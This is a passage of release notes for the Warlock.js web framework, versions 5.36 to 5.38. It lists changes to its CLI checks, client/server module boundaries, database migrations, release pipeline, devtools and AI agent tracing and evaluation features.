    • FixedCapabilities: defineCapability<T>(name, { description, required }), provideCapability(capability, implementation), useCapability(capability), hasCapability(capability) and listCapabilities() give a module-cycle-breaking slot a typed, discoverable home. useCapability throws WL2008 when nothing provided it. warlock doctor warns (WL2008) when a required capability has no provider after boot (check capabilities).
    • Fixedwarlock inspect --section wiring and the MCP tool inspect_wiring: every auto-loaded file (config, locales, events, main.ts, routes.ts, workers) with its module and boot load order, followed by every capability slot with its provider and consumers. The section is part of the inspect report JSON Schema.
    • FixedNew skill use-capabilities.
    • Fixedwarlock agents-md lists the skill of a package that ships a single skills/SKILL.md (for example the AI provider packages and @warlock.js/sitemap). Its slug is the front-matter name, else the package name.
    • FixedPackage manager detection no longer lets a stale pnpm-workspace.yaml and pnpm-lock.yaml win over the lockfile actually in use. The order is now the packageManager field; then the manager that installed node_modules (.package-lock.json for npm, .pnpm or .modules.yaml for pnpm, .yarn-state.yml or .yarn-integrity for yarn, .bun for Bun); then the lockfile that lists every dependency of package.json, else bun.lock, else the most recently written one; a pnpm-workspace.yaml counts only when there is no lockfile at all. warlock update always prints which manager it chose and why.
    • Fixedwarlock check reports WL9022 when server-only code (controllers, services, repositories, models, connectors, routes.ts, main.ts, worker.ts, events/ and *.server.* files) imports a *.client.ts(x) module, directly or through other files. The message names the import chain, and a type-only import is not reported.
    • Fixedwarlock check reports WL9105 when a translation key of a module dictionary is missing a configured locale. The configured locales are localeCodes in src/config/app.ts, or localeCodes in .warlock-check.json, which wins; the rule is skipped when neither names any.
    • FixedOpt-in WL9023 finds hand-maintained index.ts barrels in app modules (an index.ts that only re-exports). It is off until .warlock-check.json sets rules.WL9023 to "warning" or "error".
    • FixedPer-feature locale files: src/app/<module>/utils/locales/<feature>.json is merged with the module's utils/locales.json in development, in the production build and in test workers, under the module's namespace unless the file names its own $group. A key may live in one file only. Web's per-page translation tables are built from the same registry, so they see the merged dictionary.
    • Fixedgenerate: { barrels: false } in warlock.config.ts makes warlock generate, warlock make and warlock add access write no index.ts barrel (for models) and import the model file itself in the files they generate. The default stays true.
    • Fixedwarlock doctor --fix converts a legacy utils/locales.ts into utils/locales/legacy.json when the module already has a locales.json, as long as no key appears in both; it still writes locales.json when there is none.
    • Fixedwarlock ai tools --tools <module> lists each tool's estimated tokens per call and its per-provider schema findings (OpenAI strict, Anthropic, Google); --targets, --warn-above, --fail (exit 1 on an error-level finding) and --json.
    • Fixedwarlock ai trace [runId] reads the agent traces held by the running dev server: a run list, or one run turn by turn (system prompt hash, tools offered, calls, refusals, retries, usage, cost); --diff <otherRunId> compares the prompt and tool definitions of two runs; --url, --devtools-path and --json. Both need @warlock.js/ai 5.38.0 or newer.
    @warlock.js/webAdded 3Changed 2Fixed 14
    • Addedwarlock build measures build.budgets.payload for the sections the build knows: each page's pruned translations and its browser route table, both upper bounds. A page whose measured sections exceed its limit fails the build with mode: "error" and prints a warning with mode: "warn"; the message gives the per-section breakdown and says which sections (page, layout, app and session data, other) are only measured at runtime. The runtime check is unchanged and still never fails a request.
    • AddedClient build integrity: every build writes client/.vite/warlock-integrity.json (a digest per file in client/assets). The next warlock build reads the previous record before it starts and fails, naming each file, when a file name now maps to different bytes. The new web build option previousBuild points the comparison at another build's record or output directory (for example the deployed release). New exports from @warlock.js/web/vite: ChunkIntegrityError, CHUNK_INTEGRITY_FILE, readChunkIntegrity and the ChunkIntegrityRecord and ChunkIntegrityConflict types; buildHydrationClient takes previousIntegrity.
    • AddedTwo request tracing phases through core's TracingHooks.onPhase: translations (route, locale, mode) around binding the page's translation snapshot, and named-api-routes (route) around resolving the document's route table.
    • Changed*.client.ts(x) is now an enforced client-only boundary. Pages, layouts and components may import it, and it renders on the server unless the component is wrapped in <ClientOnly>; server-only code (loaders in setup files, controllers, services, repositories, models, routes, connectors and *.server.ts files) may not import it. In development SSR such an import is an error naming the import chain instead of a warning. warlock check reports the same import as WL9022.
    • ChangedThe console.error fallback for a page failure, used when no log channel is configured, ignores passive channels (for example the collector behind Core's request log), so the failure still reaches the terminal.
    • FixedapiHref() and useSubmitForm({ route }) called while a page renders on the server found no route table when the page code and the renderer were separate copies of the framework module (the development SSR graph, with an application alias for @warlock.js/web). The renderer now publishes the document's table where every copy reads it.
    • FixedIn development, the document's browser route table was empty when the renderer ran through Vite SSR as a separate copy of @warlock.js/core (an HTTP test server or dev server with an application alias), so apiHref() found no route. The page handlers now carry the real router registry to the renderer, which reads the table from it.
    • FixedA multi-site app in development answered every site hostname with Vite's "Blocked request. This host is not allowed" (403). The dev server now allows the hostnames listed in web.sites, and any host when a site is dynamic.
    • FixedProduction client chunks are named after their final bytes. The bundler hashed a chunk before the import specifiers inside it were rewritten, so two builds that differed only in the name of an imported chunk emitted the same file name for different bytes, and two byte-identical chunks could keep different names. After the bundle is written, chunks are renamed in dependency order from the hash of their final code (chunks that import each other are named together), byte-identical non-entry chunks are merged into one file (the budget report keeps the modules of every merged chunk), and the client manifest, the module preload lists, the budget report and the precompressed .br and .gz files all use the final names.
    • FixedProduction pages no longer walk the whole named route registry on every request. A page's browser route table is resolved once per site and viewer kind and reused; development still resolves it per request, because its registry and files change. A web.namedApiRoutes filter function is therefore called once per route, site and viewer kind in production.
    • FixedA render that built its hydration payload more than once (the document context, the final payload, a data request) pruned the global translation registry each time; it is now pruned once per request.
    • Fixedforbidden.page.tsx (with an optional forbidden.setup.ts): the application's page for a refused request. A 401 or 403 on a page route renders it with that status. It declares no config.route, a second copy fails the build (one per site in multi-site mode, at $sites/<name>/forbidden.page.tsx), and it receives the same { error, status } props as error.page.tsx, plus debug outside production. A request renders the site's (or the app's) forbidden page, then its error.page.tsx with the 401/403 status, then the framework default. The page manifest gains forbiddenPage (and a forbiddenPage entry per site), the client registry projects it as ForbiddenPage, and hydration picks it by the same rule, so the browser hydrates the page the server rendered. Discovery exports DiscoveredForbiddenPage, isForbiddenPageFile and DuplicateForbiddenPageError.
    • FixedThe framework's own fallback page now shows the request id and a "Back to home" link, and a 401/403 gets its own plain, accessible "You don't have access to this page." message. Outside production the development details panel still follows it.
    • FixedrequireUser({ userType }) and requireUser({ when }) answered a failed check with a raw JSON body ({"error":"Forbidden"}) on a page route. The middleware form now throws ForbiddenError (and UnAuthorizedError for a guest with no sign-in page or a bearer client), so a page route renders the forbidden page instead. A guest with auth.pageAuth.loginPath is still redirected to sign in. To refuse a page request from your own middleware, throw a Core ForbiddenError; response.forbidden() still writes its own JSON reply.
    • FixedIn development, hydrating an error page failed with a malformed-payload error because the payload check rejected the debug details the server sends outside production. The check now accepts debug.
    • FixedA route-translations lookup for a failure rendered by the error or forbidden page now covers both pages' keys.
    • FixedWebConnector.shutdown() closes the Vite dev server, its HMR websocket and its file watchers whenever Vite was created, not only after start() completed. A boot that failed after creating Vite, or a shutdown between boot() and start(), used to leave Vite running and keep a test or dev process from exiting. A failure to close one part no longer skips the others, and the first failure is reported afterwards.
    • FixedThe client build enforces a module boundary: browser code may import from app/<module>/... only browser-safe files, which are *.client.ts(x), schema files (*.schema.ts or a schema/ folder), type files (*.types.ts, *.d.ts or a types/ folder), the module's web/ folder and non-code files. Any other file (a controller, service, repository, model, route file or plain helper) fails the build with the import chain. A type-only import is erased and always allowed. web.moduleBoundary sets "warn" (default: report and continue, so an existing app upgrades without a broken build), "error" (fail the build) or "off", in development and in warlock build.
    • FixedDevelopment SSR warns once per *.client.* module that reads window, document, navigator, localStorage or another browser global while it is being imported (outside a function or a typeof guard), naming the file and line.
    @warlock.js/cascadeAdded 5Changed 1Fixed 1
    • AddedModel.get() and Model.set() are typed from the model's schema type. get("publishedAt") is Date | null, a column with a .default() is never undefined, get(key, default) drops null and undefined, and set(key, value) rejects a value of the wrong type. Dot paths ("profile.city") stay loosely typed (any, or the type argument you pass) so large schemas do not slow the compiler. A model declared without a schema type keeps loose access.
    • AddedModelData<typeof schema> (the schema's output type, casts applied), ModelDataSnapshot<T>, ModelKey, ModelValue and ModelPath types.
    • Addedmodel.toDataSnapshot(): a typed, read-only copy of the model's data without its hidden columns, for resources and presenters that want exact types.
    • AddedModel.requestSchema() returns the model schema without the fields marked .internal(), so a server-set field is declared once and request schemas derived from the model omit it. Model.create() still accepts those fields.
    • AddedIn development, reading a schema column as a property (model.title) logs one warning per model and column that names model.get("title"). Nothing is installed when NODE_ENV is production.
    • ChangedBREAKING For a model declared with a schema type, get() and set() with a top-level column name that is not in the schema are now type errors. Add the column to the schema, use a dot path, or declare the model without a schema type to keep loose access.
    • FixedA model declared with a schema type is assignable to the loose Model and ChildModel again, so helpers, migrations and this-typed statics accept typed models unchanged.
    create-warlockAdded 2Changed 5
    • AddedThe web template ships src/web/forbidden.page.tsx and forbidden.setup.ts (styled by forbidden.css, imported from app.css): the page a 401/403 on a page route renders instead of raw JSON. The template README and the web-code-standards skill describe it.
    • AddedThe starter ships src/config/web.ts with moduleBoundary: "error", so browser code importing a server-only module file fails the client build in new apps (the framework default for existing apps is "warn").
    • ChangedThe generated testing guidance and code standards use the *.unit.spec.ts / *.unit.test.ts convention for unit specs (the test feature's unit and integration Vitest projects pick files by that infix).
    • ChangedThe starter boots the test framework once per Vitest worker: src/config/tests.ts sets lifetime: "worker" and resetDatabase: true (WARLOCK_TEST_LIFETIME=file switches back), and src/config/database.ts (and the PostgreSQL variant) uses one database per Vitest worker, <DB_NAME>_test_<worker id>. With --features=test the generated unit project fails a spec that imports a connector or boots the app, and the integration project runs with isolate: false. The PostgreSQL variant needs those databases created and migrated first.
    • ChangedThe template's testing-strategy skill describes the per-file reset, the setupTest({ lifetime: "file" }) opt-out, the unit-project guard, WL9024, the boot profile and Vitest 5's clearMocks default.
    • ChangedThe starter app keeps translations in JSON: app/auth/utils/locales.json and app/shared/utils/locales/{validation,http,attributes}.json replace the two utils/locales.ts files, and docs/new-module.md describes locales.json and locales/<feature>.json.
    • ChangedThe template's module-boundaries, code-standards and web-code-standards skills describe small exported types co-located in *.service.ts, optional barrels (and the opt-in WL9023 lint), the browser-safe surface of an app module and the *.client.ts(x) boundary.
    @warlock.js/devtoolsAdded 6
    • AddedThe Requests panel and GET /__warlock/api/requests also read core's persistent request log (storage/logs/requests/*.jsonl), so request history survives a restart and the 200-request ring buffer. Live and persisted requests are merged without duplicates by request id; requests read only from disk are marked persisted.
    • AddedRequest filters: the list API takes status (404 or a class such as 5xx), route, method, since, until, q (text in the URL or id) and limit, answering 400 for a bad value; the dashboard has search, status and method filters.
    • AddedA saved request opens with its error (message, stack, phase, page file, site), the redacted request and response, the log entries and the query summary with N+1 findings. GET /__warlock/api/requests/:id carries the full record as record.
    • AddedCopy as curl: GET /__warlock/api/requests/:id/curl and a button in the request detail. Values the log redacted stay [REDACTED].
    • AddedAgents tab at /__warlock for the per-turn agent traces @warlock.js/ai records in development: system prompt, tools offered with schema hashes and token estimates, tool calls with results and refusals, retries and re-prompts, usage and cost, and a comparison with the previous run of the same agent. It needs no Panoptic.
    • AddedGET /__warlock/api/ai/agent-runs (optionally ?requestId=) and GET /__warlock/api/ai/agent-runs/:id, plus agent-trace events on the stream, behind the existing development and loopback guard. Runs started during an HTTP request link to it. Types DevtoolsAgentRun and DevtoolsAgentTraceEvent.
    @warlock.js/sealAdded 1Changed 1Fixed 4
    • AddedhumanizeAttribute(key) turns a field key into words (max_dumbbell_kg becomes "Max dumbbell kg").
    • ChangedObjectValidator#partial() keeps its types: the named keys (all keys when none are named) become optional in the inferred shape.
    • FixedtoJsonSchema("openai-strict") keeps an optional v.enum(), v.literal(), in() list or union nullable: null is added to an enum, a const becomes anyOf: [{ const }, { type: "null" }], anyOf/oneOf gain one { type: "null" } branch, and allOf/$ref schemas are wrapped in anyOf. Before, such fields were listed in required with no way to send null.
    • Fixed.nullable() on an enum, a literal, a scalar or a union no longer produces a type of [undefined, "null"] for draft-2020-12; the same shapes as above are used, and openapi-3.0 adds null to the enum next to nullable: true. A nullable single literal now emits anyOf: [{ const }, { type: "null" }] instead of a bare const.
    • Fixed.internal() marks a field as set by the server. It validates and infers like any other field; ObjectValidator#withoutInternal() returns the schema without those fields (type included) for request validation, and internalKeys() lists them. BaseValidator#isServerSet() reads the mark.
    • FixedtranslateAttribute passed to v.validate(schema, data, options) now translates the :input placeholder too; before, only the global config's translator was used for attribute labels.
    @warlock.js/aiAdded 5
    • Addedai.tool() checks its JSON Schema against OpenAI strict, Anthropic and Google when the tool is defined and, in development only, logs one warning per tool definition: optional fields sent as required and nullable, properties missing from required, objects without additionalProperties: false, unsupported keywords (allOf, oneOf, not, conditionals, patternProperties, ...), non-object roots, invalid names, oversized descriptions and heavy definitions. lint: false or lint: { targets, warnAboveTokens, ... } on a tool and ai.config({ toolLint }) tune or silence it.
    • AddeddescribeToolSchema(tool, options?) and describeToolSchemas(tools, options?) (also ai.tools.describe / ai.tools.describeAll) return the findings, a schema hash and an estimated token cost per definition; formatToolSchemaReports() prints them. The token figure is an estimate (charsPerToken, default 4); ai.tools.measure stays the exact native count.
    • AddedOpt-in tool-use contract on agents. actWhenAsked: { intents, requiredTools } re-prompts once when an action request is answered without a required tool call. onToolRefusal: "retry-once-with-hint" (or { retries, hint, isRefusal }) sends one retry prompt with the refusal reason when the model gives up after a tool refused a call. backstops: [{ phase, detect(turn), run(context) }] run deterministic checks before the first model call or after a final answer, and may return a prompt to send the model. Agents without these options behave exactly as before.
    • AddedEval scorers ai.eval.requiredToolCalled({ tools, intents?, require? }) ("required tool not called") and ai.eval.changeClaimedWithoutToolCall({ tools?, claims? }) ("change claimed without a tool call").
    • AddedAgent traces. Each agent run records a per-turn trace: system prompt (hash, and text in development), tools offered with schema hashes and token estimates, tool calls, results, refusals, tool-use contract actions, token usage and cost. On in development, off under test and in production; trace: true | false | { enabled, text, redact, maxStringLength, store } per agent (an options object records in development only unless enabled: true). Traces are redacted with the logger's secret-key rules and registered credentials, and kept in the shared in-memory agentTraces store (get, list, subscribe, clear; createAgentTraceStore() for another). diffAgentTraces(a, b) reports whether two runs sent the same system prompt and tool definitions; formatAgentTrace(trace) renders one as text.
    @warlock.js/loggerAdded 1
    • AddedLogChannel.passive: a channel that only observes entries (keeps them in memory, derives data from them) and persists nothing sets it to true. Code that falls back to the terminal "when no log channel is configured" ignores passive channels, so adding an observer never silences that fallback.
    5.37.1
    October 24, 2026

    Multi-site development fix, page error logging and npm family upgrades. Multi-site pages no longer answer 500 in development and under the HTTP test server (the route table is read from Core's router; web.namedApiRoutes: false skips it). Every 5xx page failure logs one error record with the message, mapped stack, phase, page file, route, site and request id, and the development error page shows the same details. warlock update on npm removes the family's lock entries and re-resolves them in one install (npm 11.6.2 or newer), WL8010 reports mixed family versions, and warlock upgrade no longer downgrades newer packages and names the package manager the project uses. Vitest 5 no longer warns about a repeated lowerStage3Decorators(), worker lifetime supports HTTP and database suites (tests.resetDatabase, workerDatabaseName()), HMR attaches through Vite 8's server.ws, and the client-bundle check no longer reports the app's index.html.

    Full release notes or run npx warlock release-notes.

    @warlock.js/coreAdded 5Changed 2Fixed 5
    • Addedtests.resetDatabase (true or { connection, except, only }): with tests.lifetime: "worker", truncates every table or collection of the data source before each file, keeping the migrations ledger and system collections, then runs tests.resetBetweenFiles. resetTestDatabase(), workerDatabaseName(base) and testWorkerId() are exported from @warlock.js/core/tests so each Vitest worker can use a database of its own.
    • AddedA worker-lifetime runtime closes the createTestHttpServer() servers a file left open before the next file starts, so their routes and ports do not leak across files.
    • AddedThe setup profile reports body, the time between setup finishing and teardown starting. When a file-lifetime run of at least four files spends half or more of its time in setup, the worker summary and TestSetupReporter print a line recommending tests.lifetime: "worker".
    • Addedwarlock add test generates src/config/tests.ts. WARLOCK_TEST_LIFETIME=worker turns on worker lifetime and resetDatabase, and the generated integration project sets isolate: false from the same variable.
    • AddedUpgrade codemod vitest-inline-project-plugins lists a lowerStage3Decorators() call repeated inside a Vitest config that declares projects.
    • ChangedThe exact, cyclic pins between @warlock.js/* packages stay (the family is released in lockstep). To get past them, warlock update on npm removes the family's (and vite, vitest, @vitest/* and @vitejs/*) entries from package-lock.json and re-resolves them in one npm install; npm 11.6.2 or newer is required for that step, and WL8010 reports mixed family versions.
    • ChangedPackage manager detection with several lockfiles side by side (and no packageManager field or pnpm-workspace.yaml) uses the most recently written one, the lockfile the project installs with, and warlock update says which it chose. bun.lock still wins over the yarn.lock Bun also writes.
    • FixedVitest 5 printed The "<project>" project applies the same plugin multiple times: "warlock:lower-stage3-decorators" when a config listed lowerStage3Decorators() in the root and again in an inline project. Instances after the first in a process now carry a numbered plugin name and skip modules that no longer contain a decorator, so the warning is gone and a project that does not inherit the root config still lowers decorators. The docs and skills explain extends for inline projects.
    • Fixedwarlock check reports WL8010 when the installed @warlock.js/* packages are on different versions, naming the packages that differ from the newest one and pointing to warlock update. The family stays in lockstep: packages pin each other to the exact same version, so a mixed set is not a valid install.
    • Fixedwarlock update for npm projects removes the family's (and Vite's and Vitest's) entries from package-lock.json before the install, so one npm install re-resolves them together, and warns when the npm in use is older than 11.6.2, which npm 10 cannot always do (ERESOLVE, or a crash on the Vitest peer set). It names the install command of the package manager the project uses instead of a generic one.
    • Fixedwarlock upgrade no longer moves a @warlock.js/* dependency down: one already newer than --to stays as it is and is listed in the review list. Its install hint names the package manager the project installs with, not the first lockfile found.
    • Fixed@warlock.js/core exports the shared log instance from @warlock.js/logger, so framework packages that depend on core write to the channels the app configured with setLogConfigurations.
    @warlock.js/webAdded 2Fixed 5
    • AddedOutside production, the error page, an authored ErrorBoundary and the framework fallback are followed by a development panel (data-warlock-dev-error) showing the message, phase, page file, route, site and stack. error.page.tsx receives the same facts as props.debug (PageErrorDetails, new type export). Production responses stay generic and never carry them.
    • AddedServerErrorContext (the context of web.errors.report) gains file, site and level; phase takes the values above.
    • FixedThe development server no longer prints server.hmr.protocol/host/port/path/clientPort/timeout/server is deprecated on every boot. The HMR websocket is attached to the app's HTTP server through Vite 8's server.ws.server instead of the deprecated server.hmr.server; hot reload behaves as before.
    • FixedThe client-bundle security check (Gate A) no longer warns could not judge this import for the app's own index.html entry, in either the client or the SSR build. HTML entries and Vite's virtual HTML proxy modules are treated as entries, not imports; a genuinely unresolvable import still warns.
    • FixedA page that answered 500 left only the Completed Request: … 500 line in the log. Every 5xx page response now writes one error-level logger record (module: "web", action: "page.<phase>") with the error message, the stack, the matched page file, the route pattern, the site key, the request id and the phase: translations, module-load, middleware, session, loader, metadata, render, stream, defer, error-page, request-handler, or unknown for a 5xx nobody reported (for example response.setStatusCode(500) without a throw). With no log channel configured the failure still goes to console.error. Errors that React swallows into an ErrorBoundary or error.page.tsx, errors from onShellError and onError of the stream, and failures while binding route translations or loading the page module are logged too. The same error is logged once however many stages observe it, and a 4xx outcome (not found, redirect, validation, a thrown HttpError below 500) is not logged as an error.
    • FixedMulti-site apps: pages no longer answer 500 in development and under the HTTP test server with input.router.getNamedApiRoutes is not a function, even with web.namedApiRoutes: false. The browser route table now reads Core's real router registry, never the per-site registration router. With web.namedApiRoutes: false the page's route names are no longer computed at all, and a failure computing the table is logged through the page error log with the new phase named-api-routes instead of a bare 500.
    • FixedThe development stack is mapped back to source files through the dev server (ssrFixStacktrace); in production, run Node with --enable-source-maps.
    create-warlockChanged 1
    • ChangedThe template's testing-strategy skill describes WARLOCK_TEST_LIFETIME=worker, resetDatabase and workerDatabaseName() for the generated test setup.
    5.37.0
    October 24, 2026

    Field-report fixes: route table controls, safe document-store rollbacks, warlock release and eval variance. Breaking: on MongoDB a plain dropColumn() inside down() is skipped with a warning (pass { destructive: true } to unset; add-only Migration.alter derives a ledger-only rollback), and warlock migrate --rollback/--fresh and the cascade rollback commands print a destructive-operation summary and need confirmation or --yes outside development. web.namedApiRoutes turns the page route table off, limits it with an allowlist or filter, and keeps privatePrefixes out; routes take a sites option for multi-site apps, and guarded routes are left out for known guests. Route inspection, the generated AGENTS.md facts and WL9006 count group guards and markAuthGuard() middleware. warlock release adds candidate, gate, migrations --prove, stage, activate, verify, rollback and prune for application deploys. agent.eval({ repeat }) reports pass counts, Wilson and t intervals, an interval-based regression gate and stable versus flaky failures. Fixes: validation messages never keep an unfilled :placeholder, finished Vitest runs exit on their own (the file logger's flush timer no longer holds the process), pages whose components import CSS work in Node page discovery, and development logs the first hydration mismatch.

    Full release notes or run npx warlock release-notes.

    @warlock.js/coreAdded 4Changed 1Fixed 4
    • Addedwarlock release <action> [id]: a deploy pipeline for applications, configured by the new release section of warlock.config.ts (ReleaseConfig, ReleaseCheck). candidate freezes a clean commit (--commit, --allow-dirty) into .warlock/releases/<version>-<shortsha>/ with a manifest (version, commit, creation time, Node version, lockfile hash). gate runs an ordered list of named checks (default: typecheck, check, test, build) and stops at the first failure. migrations --prove [--target] snapshots the migration ledger, tables and indexes around a real run of the pending migrations and compares them with the expected set. stage copies the build and what is needed to run it. activate [--preflight] [--dry-run] [--allow-same] checks the staged files, the gate and that the version is strictly greater than the active one, then switches current with an atomic symlink, keeps previous and runs the restart command you configure in release.restart.command; Warlock never calls a process manager itself. verify retries a GET on release.verify.url and compares the reported version and commit with the active release. rollback [--dry-run] switches back and reruns the restart command; it does not roll migrations back. list, status and prune --keep <n> (the only command that deletes releases) complete the family. Every action accepts --json, and a manifest per release plus a release.log record what happened.
    • Addedsites route option and router.group({ sites }) option: the web.sites keys a multi-site app offers a named API route to in the browser. Absent means shared by every site; a route's own sites replaces its group's. The route snapshot carries sites only on routes that declared it.
    • AddedThe named route snapshot carries guarded: true on a route with an auth guard in its middleware chain (group middleware included), so browser route tables can leave it out for guests.
    • AddedIn development, the first time a validation translation cannot be filled, a warning names its validation.* key.
    • ChangedBREAKING warlock migrate --rollback and warlock migrate --fresh print a destructive-operation summary (collections/tables dropped, fields/columns unset, document/row counts) before running. Outside development they ask for confirmation, and exit with code 1 when there is no terminal. New --yes, -y and --force flags confirm without a prompt.
    • Fixedwarlock inspect and the generated AGENTS.md list of "Mutating routes without an auth guard" counted only routes whose guard attached a warlock.auth descriptor. A middleware that declares itself a guard with markAuthGuard(), including one registered once on a router.group, now marks every route inside the group as guarded.
    • Fixedwarlock check (WL9006) treats markAuthGuard(fn, false) written inline in a middleware list as not a guard, and recognises a local factory such as const requireAdmin = () => markAuthGuard(fn) used as middleware: [requireAdmin()] in a route or group.
    • FixedThe default validation message translation no longer returns a message with an unfilled :placeholder. When the browser form library is imported on the server, its English validation.* defaults share the translation registry and name the length value :length, where seal uses :minLength and :maxLength, so a v.string().maxLength(5) failure read "This input can not be greater than :length characters". The aliases :length (for minLength and maxLength) and :matchingInput (for match) are now mapped, and a translation that still cannot be filled falls back to seal's own message. App overrides of validation.* keep working.
    • FixedThe dev loader hook answers stylesheet imports (.css, .scss, .sass, .less, .styl) with an empty module, so sitemap discovery works for a page whose component imports a stylesheet instead of failing with ERR_UNKNOWN_FILE_EXTENSION.
    @warlock.js/webAdded 5Changed 3
    • Addedweb.namedApiRoutes controls the route table each page embeds for apiHref() and useSubmitForm({ route }). false embeds nothing: a named-route call then throws, and in development the error names the option (explicit path and method still work). An allowlist of route names (with prefix.* patterns) or a filter function (route, { site, guest }) => boolean narrows the table, and { include, privatePrefixes } combines both. Every form can only remove routes from what the page's client code reaches.
    • Addedweb.namedApiRoutes.privatePrefixes (for example ["/api/admin/", "/api/webhooks/"]) keeps every route under those path prefixes out of every table, for any viewer and any site. Prefixes match whole path segments.
    • AddedSite scoping: in a multi-site app a page never embeds a route declared for other sites. A route declares its sites with the sites option (see core); a route that declares none is shared by every site.
    • AddedA route with an auth guard in its middleware chain (group middleware included) is left out of the table for a guest viewer. A viewer is a guest only when web.session is configured and resolves no user; without web.session the viewer is unknown (the app may sign in with tokens in the browser) and guarded routes stay.
    • AddedTypes NamedApiRoutesOption, NamedApiRoutesConfig, NamedApiRoutesInclude, NamedApiRoutesFilter, NamedApiRouteCandidate and NamedApiRouteContext.
    • ChangedServer seam resolveNamedApiRoutes(names, options) takes { config, site, guest }; without options it applies site scoping and guard rules for a guest in single-site mode.
    • ChangedIn development, when React reports a hydration mismatch, the client logs the first mismatching node: the element path, the server text and the client text. Production builds are unchanged.
    • ChangedThe create-a-page and localize-pages skills and the localization and client/server boundary docs warn that Intl.DisplayNames, localeCompare sorting and similar Intl output can differ between Node and browsers and cause hydration mismatches, and recommend a shared pre-computed table or rendering after hydration.
    @warlock.js/cascadeAdded 5Changed 2
    • AddedMigration.alter with only add (no custom up/down) derives its down(): on SQL it drops the added columns, on document stores it is ledger-only because up() changed no documents. The "up without down" warning does not fire for it.
    • AddeddropColumn(column, { destructive: true }) (DropColumnOptions), the explicit opt-in to unset a field on a document store during a rollback.
    • AddedRollback plan: migrationRunner.planRollback(batches) returns, per migration, the tables/collections dropped or truncated and the fields/columns dropped or unset (RollbackPlan, DestructiveOperation), with document/row counts from the new optional countRows / countWithColumns driver methods (implemented for MongoDB, countRows for Postgres).
    • AddedconfirmRollback({ all, batches, yes, development }) prints that plan and asks for confirmation outside development. cascade migrate:rollback and cascade migrate --fresh use it and accept --yes / -y and --force.
    • AddedMigration#isDocumentStore, to guard a SQL-only drop in a hand-written down().
    • ChangedBREAKING On document stores (MongoDB), a plain dropColumn() / dropColumns() inside down() is skipped with a warning instead of running $unset on every document. Forward drops (up(), drop: [...]) are unchanged.
    • ChangedBREAKING cascade migrate:rollback and cascade migrate --fresh print a destructive-operation summary first. Outside development (NODE_ENV other than development, including unset) a rollback that removes data (table or collection drops, applied field drops) asks for confirmation, and refuses without a terminal.
    @warlock.js/aiAdded 4
    • Addedagent.eval({ repeat }) runs every case several times (default 1, unchanged). Case results carry passes / repeat, per-run runs, and score and pass-rate intervals; reports carry stats (overall and per EvalCase.category, Wilson intervals for pass rates and Student-t intervals for mean scores), plus stableFailures and flakyCases when repeat > 1. toJUnit shows passed 2/3 runs for repeated cases.
    • Addedgate: "interval" for baseline comparison flags a case, or an overall or per-category pass rate or mean score, only when the baseline interval lies above the current interval by more than tolerance, so run-to-run noise no longer reads as a regression. The default gate: "point" keeps the existing rule. failOnStableFailures fails the regression verdict when a case failed every run. diff accepts { tolerance, gate, confidence, failOnStableFailures } as its third argument (a plain tolerance number still works), and EvalRegression gains regressedMetrics, stableFailures and flaky.
    • AddedEvalCase.category groups cases for per-category statistics.
    • AddedSerialized baselines store the repeat count, per-case counts and intervals; baselines saved earlier still load and count each case as one sample.
    @warlock.js/loggerFixed 1
    • FixedFileLog's background flush interval no longer keeps the process alive. A finished Vitest run or CLI command used to wait on it, and Vitest reported "something prevents the main process from exiting". Buffered entries are still written by flush() and flushSync().
    5.36.0
    October 21, 2026

    Smaller, safer page payloads and the Vite 8 / Vitest 5 family. Breaking: @warlock.js/web needs Vite 8 and plugin-react 6 (a clear error names the upgrade on Vite 7), the test kit and AI matchers need Vitest 5, pages embed only the named API routes their client code reaches (config.apiRoutes, clientVisible: false), and hydration payloads carry only the translation keys a page uses. npx warlock upgrade --from 5.35 --to 5.36.0 raises Vite, Vitest and plugin-react and rewrites the Vitest 5 runner import. Shared translation groups ship once per locale as cached, content-hashed tables (fixed per process in production, with a latest-table fallback); other keys are pruned per page from literal keys, count variants, static template prefixes and config.translations, with WL9104 for keys built at run time. build.budgets.payload (default 64kb) reports oversized inline payloads by section. Fixes: development page edits no longer wait for the sitemap refresh; cascade persists unsetting a stored empty object; browser e2e click and wait errors keep the real reason near the deadline. The docs site moves to Astro 7.

    Full release notes or run npx warlock release-notes.

    @warlock.js/webAdded 3Changed 6Fixed 14Security 1
    • AddedPage documents carry only the named API routes their client code can reach. The build finds them from the page's browser code (string literals, template prefixes and the register hooks of setup files) and from config.apiRoutes, which page, layout and root setups accept for names the build cannot see (a prefix.* pattern covers every name under a prefix).
    • Addedbuild.budgets.payload sets the inline payload limit for each rendered document (default 64kb, with route globs and a warn or error mode). A runtime measurement of the hydration data and the route table, split by section, reports an over-budget route once per process with its largest keys.
    • Addedwarlock check reports WL9019 and WL9020 for browser route references (see core).
    • ChangedapiHref() and useSubmitForm({ route }) resolve names against the current page's route table. Development errors name the route and the declaration that fixes it; production throws a short error with no fallback.
    • ChangedA client navigation publishes the table of the page it swaps in.
    • ChangedThe document's hydration payload no longer repeats the route table, which its own script already carries.
    • ChangedThe client build, the development server and the Vite plugins run on Vite 8 (Rolldown) and @vitejs/plugin-react 6. The vendor split uses build.rolldownOptions with a codeSplitting group, and the development server configures JSX through oxc, so neither prints a Vite deprecation warning.
    • ChangedThe vite peer range is ^8.0.0 and the @vitejs/plugin-react peer range is ^6.0.0.
    • ChangedBREAKING A page's hydration payload no longer carries every translation group, in either translation mode. It carries the keys the page's client code can reach, and the shared groups arrive in a separate, cached table. Apps that read the hydration payload directly, that read keys their client code builds at run time without declaring them, or that rely on every key being present in the browser's registry, must update. Declare the keys with config.translations, or set build.translations.prune to false in the web connector options to restore the previous payload while migrating. See the upgrade note below.
    • FixedDevelopment page edits reach the browser without waiting for the sitemap subscription refresh, which still runs in order before the next route update. Under heavy machine load a page edit made right after deleting a layout or setup file could take longer than ten seconds to appear.
    • FixedShared translation groups (default app and common) are shipped once per locale as a table whose URL carries its content hash, and the document preloads it. Hydration waits for the table, so the first client render has every key the server rendered with. Locale switching loads the other locale's table. Route dictionaries (locales.json) emit the table at build time under assets/translations/; the global registry (extend() / register()) computes it from the live registry and serves it at /__warlock/translations/<locale>.<hash>.json.
    • FixedProduction serves a table with Cache-Control: public, max-age=31536000, immutable, and each locale's newest table at /__warlock/translations/<locale>.json with no-cache.
    • FixedGlobal-registry production builds copy the shared groups once, when the web connector boots. That copy and its hash are fixed for the process, so every process of one build publishes the same table under the same name. Keys a page registers later travel inline in its payload.
